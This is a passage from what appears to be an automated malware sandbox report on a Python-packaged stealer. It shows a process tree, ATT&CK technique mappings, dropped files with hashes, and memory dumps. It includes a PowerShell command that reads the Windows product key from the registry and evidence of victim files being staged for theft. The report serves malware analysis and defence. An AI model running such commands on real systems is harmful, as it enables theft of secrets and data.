                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2172
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3084
                    • C:\Windows\system32\WerFault.exe
                      C:\Windows\system32\WerFault.exe -u -p 3164 -s 1672
                      1⤵
                        PID:5168
                      • C:\Windows\system32\sihost.exe
                        sihost.exe
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:3800
                        • C:\Windows\explorer.exe
                          explorer.exe /LOADSAVEDWINDOWS
                          2⤵
                          • Boot or Logon Autostart Execution: Active Setup
                          • Enumerates connected drives
                          • Checks SCSI registry key(s)
                          • Modifies Internet Explorer settings
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          • Suspicious use of SetWindowsHookEx
                          PID:3928
                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                        1⤵
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:2548
                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                        1⤵
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:5536

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Defense Evasion

                            Impair Defenses

                            2
                            T1562

                            Disable or Modify Tools

                            1
                            T1562.001

                            Modify Registry

                            2
                            T1112

                            Obfuscated Files or Information

                            1
                            T1027

                            Command Obfuscation

                            1
                            T1027.010

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Unsecured Credentials

                            1
                            T1552

                            Credentials In Files

                            1
                            T1552.001

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Peripheral Device Discovery

                            2
                            T1120

                            Process Discovery

                            1
                            T1057

                            Query Registry

                            3
                            T1012

                            System Information Discovery

                            5
                            T1082

                            System Network Configuration Discovery

                            1
                            T1016

                            Wi-Fi Discovery

                            1
                            T1016.002

                            Lateral Movement

                            Collection

                            Clipboard Data

                            1
                            T1115

                            Data from Local System

                            1
                            T1005

                            Command and Control

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 07aadd9465b8d2390cef6aeb008d0111ef288d615655a7445ed5f4ff3050e739
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 a9b2dce08e10e135a7f8e89ffbbd9f9488a4ddd213f3db1fd7c44ff2a71a9e44
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 30b9b9ac889d22b034605b3fe9aec47c3fe95ac61e11d649ab6fe86285e864e8
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 9f80687571cef34b46ae6d64c1dbf8a2033d3587517232fde65cf09897a27ea8
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            prep_Activatable Class_Hermes_perf.cache
                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                            • Size 607B
                            • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            RES868B.tmp
                            • Path C:\Users\Admin\AppData\Local\Temp\RES868B.tmp
                            • Size 1KB
                            • SHA256 f42776e6a7562f24eaf400fb43a576805ab41b46facd290a98563f74a03479cc
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            VCRUNTIME140.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\VCRUNTIME140.dll
                            • Size 117KB
                            • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _bz2.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_bz2.pyd
                            • Size 49KB
                            • SHA256 43f812a27af7e3c6876db1005e0f4fb04db6af83a389e5f00b3f25a66f26eb80
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ctypes.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_ctypes.pyd
                            • Size 63KB
                            • SHA256 1c0f9c3bdc53c2b24d5480858377883a002eb2ebb57769d30649868bfb191998
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _hashlib.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_hashlib.pyd
                            • Size 36KB
                            • SHA256 a9f24ad79a3d2a71b07f93cd56fc71958109f0d1b79eebf703c9ed3ac76525ff
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _lzma.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_lzma.pyd
                            • Size 87KB
                            • SHA256 3e749f5fad4088a83ae3959825da82f91c44478b4eb74f92387ff50ff1b8647d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _queue.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_queue.pyd
                            • Size 28KB
                            • SHA256 ef361936929b70ef85e070ed89e55cbda7837441acafeea7ef7a0bb66addeec6
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _socket.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_socket.pyd
                            • Size 45KB
                            • SHA256 4ecd63f5f111d97c2834000ff5605fac61f544e949a0d470aaa467abc10b549c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _sqlite3.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_sqlite3.pyd
                            • Size 59KB
                            • SHA256 67a887d3e45c8836f8466dc32b1bb8d64c438f24914f9410bc52b02003712443
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ssl.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_ssl.pyd
                            • Size 68KB
                            • SHA256 67ed13570c5376cd4368ea1e4c762183629537f13504db59d1d561385111fe0a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            base_library.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\base_library.zip
                            • Size 1.3MB
                            • SHA256 e8528c810d9f45ba0306227516c70b442c00ff92f3e4f79cb0d2a79a955b69e2
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            blank.aes
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\blank.aes
                            • Size 113KB
                            • SHA256 9d59daabe48d868fca75a8802bebfa4a729023f7812833fd5110ffd82a7d489e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libcrypto-3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\libcrypto-3.dll
                            • Size 1.6MB
                            • SHA256 88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libffi-8.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\libffi-8.dll
                            • Size 29KB
                            • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libssl-3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\libssl-3.dll
                            • Size 221KB
                            • SHA256 3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            python313.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\python313.dll
                            • Size 1.8MB
                            • SHA256 09693bab682495b01de8a24c435ca5900e11d2d0f4f0807dae278b3a94770889
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            rar.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\rar.exe
                            • Size 615KB
                            • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            rarreg.key
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\rarreg.key
                            • Size 456B
                            • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            select.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\select.pyd
                            • Size 26KB
                            • SHA256 adfdf84ff4639f8a921b78a2efce1b89265df2b512df05ce2859fc3cc6e33eff
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            sqlite3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\sqlite3.dll
                            • Size 645KB
                            • SHA256 36e1c70afc8ad8afe4a4f3ef4f133390484bca4ea76941cc55bac7e9df29eefd
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            unicodedata.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\unicodedata.pyd
                            • Size 262KB
                            • SHA256 a2061ef4df5999ca0498bee2c7dd321359040b1acf08413c944d468969c27579
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            __PSScriptPolicyTest_cskwpckf.maz.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cskwpckf.maz.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            cmrhvwmt.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\cmrhvwmt\cmrhvwmt.dll
                            • Size 4KB
                            • SHA256 c0fa0cd49ba48c5e9356e345df9b03469770c5caf63e133f247c69e14681d7e1
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            AddUnlock.png
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Desktop\AddUnlock.png
                            • Size 366KB
                            • SHA256 42d76956709c4e96195f0872deb632079184a4709d44f179e813852922ad0c52
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            DenySearch.xlsx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Desktop\DenySearch.xlsx
                            • Size 931KB
                            • SHA256 9fec977e37309679edb214324e94d0c966c7de56a32639534b83cc48f321fbf3
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            DismountOut.mp3
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Desktop\DismountOut.mp3
                            • Size 399KB
                            • SHA256 0b19d02fce19f036cba586af3f1035b198869220d6887f6abf3608b43669fb96
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            HideUpdate.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Desktop\HideUpdate.docx
                            • Size 15KB
                            • SHA256 2291a3e4611cee667cbda3bb749f80d1b379b01e06b3e6ebd83696d9f6b7fe45
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            MoveConvertFrom.xlsx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Desktop\MoveConvertFrom.xlsx
                            • Size 11KB
                            • SHA256 ffab8f9b124a9ca673caddcafbfe3ecdd282953b5be2d36fe4523049cb52ef0e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            PublishRepair.xlsx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Desktop\PublishRepair.xlsx
                            • Size 15KB
                            • SHA256 d071eb24b15655212e7afc06be5b6cc69883d113181a8cbb7652553582f20115
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            AssertUse.xlsx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\AssertUse.xlsx
                            • Size 14KB
                            • SHA256 9f6276769d8b43bacdcd8caff634177dfd13bd0941a30077376d9787589084b7
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            CompressPing.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\CompressPing.docx
                            • Size 15KB
                            • SHA256 7c3b49162a18e1e69c5b0119d4d64d3747d9cab69448b87e5488990b1e9ec733
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            EnableJoin.xlsx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\EnableJoin.xlsx
                            • Size 10KB
                            • SHA256 469c48d85f15a8f202c6c77de9567efd08af2c44d57439ad46f354f6a6f0656d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ProtectUnregister.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\ProtectUnregister.docx
                            • Size 13KB
                            • SHA256 c01305fa0d5ecb3e97b050520a6811941c0c98d2cedaf057832f6a08738e99b2
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ReceiveUnblock.xlsx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\ReceiveUnblock.xlsx
                            • Size 14KB
                            • SHA256 eb71b53e66031649263ed707805a2a1f01be4d67c851d234f01ece92464973e0
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            SearchDisable.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\SearchDisable.docx
                            • Size 18KB
                            • SHA256 b56007e57395f134991f5bc256cee4f45d5660425cd24813c7eceff0fbc60e0d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            SendOptimize.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\SendOptimize.docx
                            • Size 247KB
                            • SHA256 de4c5d4de32e85be7b2732eb555d3d9236815fc54ecab39212170bc72f02fefb
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            UnblockConvert.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\UnblockConvert.docx
                            • Size 435KB
                            • SHA256 7e42b36b6656114f362a7327d9592ba918d9c3c784bbc47cac0d063d5f906201
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            WaitLock.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Documents\WaitLock.docx
                            • Size 763KB
                            • SHA256 2ca7c6ea60ffc98fe8e604f6f8c57af82284f0531ca78e929fcddf58cddbad1f
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            FindSync.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Downloads\FindSync.txt
                            • Size 557KB
                            • SHA256 82de031fc2b5d6cfa3c16c76d53e9360f9671192d4741664efdbafa587978929
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            GroupInvoke.pdf
                            • Path C:\Users\Admin\AppData\Local\Temp\‏ ​‎  ‏‌  \Common Files\Downloads\GroupInvoke.pdf
                            • Size 343KB
                            • SHA256 2b7eee4af6dcd5e9a034e14fec401bc535c2c0a3c662948b11f096590f02f56d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            CSC1D65745E2E749179881EED8C9BB95C7.TMP
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\cmrhvwmt\CSC1D65745E2E749179881EED8C9BB95C7.TMP
                            • Size 652B
                            • SHA256 1db0d0e8003848d2772ea9a73a159870ba050cf489c2f51e6a20824f650e4ddc
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            cmrhvwmt.0.cs
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\cmrhvwmt\cmrhvwmt.0.cs
                            • Size 1004B
                            • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            cmrhvwmt.cmdline
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\cmrhvwmt\cmrhvwmt.cmdline
                            • Size 607B
                            • SHA256 af717ade4163505258e0b52d370f2d6532ad2f0db3361f9cb130f4d97e87a948
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            memory/792-92-0x000001EFA3460000-0x000001EFA3512000-memory.dmp
                            Download

                            memory/792-89-0x000001EFA3440000-0x000001EFA345E000-memory.dmp
                            Download

                            memory/2548-277-0x0000027D001E0000-0x0000027D002E0000-memory.dmp
                            Download

                            memory/2548-319-0x0000027D14710000-0x0000027D14730000-memory.dmp
                            Download

                            memory/2548-283-0x0000027D01A20000-0x0000027D01A40000-memory.dmp
                            Download

                            memory/2548-285-0x0000027D01C60000-0x0000027D01C80000-memory.dmp
                            Download

                            memory/2548-284-0x0000027D01E50000-0x0000027D01F50000-memory.dmp
                            Download

                            memory/2548-276-0x0000027D001E0000-0x0000027D002E0000-memory.dmp
                            Download

                            memory/3916-161-0x0000017FC0570000-0x0000017FC0578000-memory.dmp
                            Download

                            memory/4364-80-0x00000244223E0000-0x0000024422402000-memory.dmp
                            Download

                            memory/4364-95-0x00000244225B0000-0x00000244225BA000-memory.dmp
                            Download

                            memory/5356-38-0x00007FFFF0570000-0x00007FFFF059B000-memory.dmp
                            Download

                            memory/5356-264-0x00007FFFF0540000-0x00007FFFF0565000-memory.dmp
                            Download

                            memory/5356-70-0x00007FFFF03E0000-0x00007FFFF03F4000-memory.dmp
                            Download

                            memory/5356-66-0x00007FFFE8B30000-0x00007FFFE9063000-memory.dmp
                            Download

                            memory/5356-67-0x00007FFFF05A0000-0x00007FFFF05C7000-memory.dmp
                            Download

                            memory/5356-65-0x00000242B1E50000-0x00000242B2383000-memory.dmp
                            Download

                            memory/5356-63-0x00007FFFD95E0000-0x00007FFFD9C45000-memory.dmp
                            Download

                            memory/5356-64-0x00007FFFEBA30000-0x00007FFFEBAFE000-memory.dmp
                            Download

                            memory/5356-58-0x00007FFFEBB00000-0x00007FFFEBB33000-memory.dmp
                            Download

                            memory/5356-54-0x00007FFFF4040000-0x00007FFFF404D000-memory.dmp
                            Download

                            memory/5356-52-0x00007FFFF0400000-0x00007FFFF0419000-memory.dmp
                            Download

                            memory/5356-48-0x00007FFFEB740000-0x00007FFFEB8BF000-memory.dmp
                            Download

                            memory/5356-46-0x00007FFFF0540000-0x00007FFFF0565000-memory.dmp
                            Download

                            memory/5356-32-0x00007FFFF5FF0000-0x00007FFFF5FFF000-memory.dmp
                            Download

                            memory/5356-77-0x00007FFFEB680000-0x00007FFFEB733000-memory.dmp
                            Download

                            memory/5356-36-0x00007FFFF1740000-0x00007FFFF1759000-memory.dmp
                            Download

                            memory/5356-30-0x00007FFFF05A0000-0x00007FFFF05C7000-memory.dmp
                            Download

                            memory/5356-222-0x00007FFFEB740000-0x00007FFFEB8BF000-memory.dmp
                            Download

                            memory/5356-216-0x00007FFFD95E0000-0x00007FFFD9C45000-memory.dmp
                            Download

                            memory/5356-260-0x00007FFFF05A0000-0x00007FFFF05C7000-memory.dmp
                            Download

                            memory/5356-261-0x00007FFFF5FF0000-0x00007FFFF5FFF000-memory.dmp
                            Download

                            memory/5356-73-0x00007FFFF0530000-0x00007FFFF053D000-memory.dmp
                            Download

                            memory/5356-259-0x00007FFFD95E0000-0x00007FFFD9C45000-memory.dmp
                            Download

                            memory/5356-269-0x00007FFFEBA30000-0x00007FFFEBAFE000-memory.dmp
                            Download

                            memory/5356-272-0x00007FFFF0530000-0x00007FFFF053D000-memory.dmp
                            Download

                            memory/5356-265-0x00007FFFEB740000-0x00007FFFEB8BF000-memory.dmp
                            Download

                            memory/5356-271-0x00007FFFF03E0000-0x00007FFFF03F4000-memory.dmp
                            Download

                            memory/5356-268-0x00007FFFEBB00000-0x00007FFFEBB33000-memory.dmp
                            Download

                            memory/5356-267-0x00007FFFF4040000-0x00007FFFF404D000-memory.dmp
                            Download

                            memory/5356-266-0x00007FFFF0400000-0x00007FFFF0419000-memory.dmp
                            Download

                            memory/5356-263-0x00007FFFF0570000-0x00007FFFF059B000-memory.dmp
                            Download

                            memory/5356-262-0x00007FFFF1740000-0x00007FFFF1759000-memory.dmp
                            Download

                            memory/5356-270-0x00007FFFE8B30000-0x00007FFFE9063000-memory.dmp
                            Download

                            memory/5356-273-0x00007FFFEB680000-0x00007FFFEB733000-memory.dmp
                            Download

                            memory/5356-274-0x00000242B1E50000-0x00000242B2383000-memory.dmp
                            Download

                            memory/5356-76-0x00007FFFF0540000-0x00007FFFF0565000-memory.dmp
                            Download

                            memory/5356-211-0x00007FFFE8B30000-0x00007FFFE9063000-memory.dmp
                            Download

                            memory/5356-180-0x00000242B1E50000-0x00000242B2383000-memory.dmp
                            Download

                            memory/5356-24-0x00007FFFD95E0000-0x00007FFFD9C45000-memory.dmp
                            Download

                            memory/5356-179-0x00007FFFEBA30000-0x00007FFFEBAFE000-memory.dmp
                            Download

                            memory/5356-86-0x00007FFFEB740000-0x00007FFFEB8BF000-memory.dmp
                            Download

                            memory/5356-173-0x00007FFFEBB00000-0x00007FFFEBB33000-memory.dmp
                            Download

                            memory/5536-454-0x00000277006D0000-0x000002770098C000-memory.dmp
                            Download

                            memory/5536-463-0x00000277006D0000-0x000002770098C000-memory.dmp
                            Download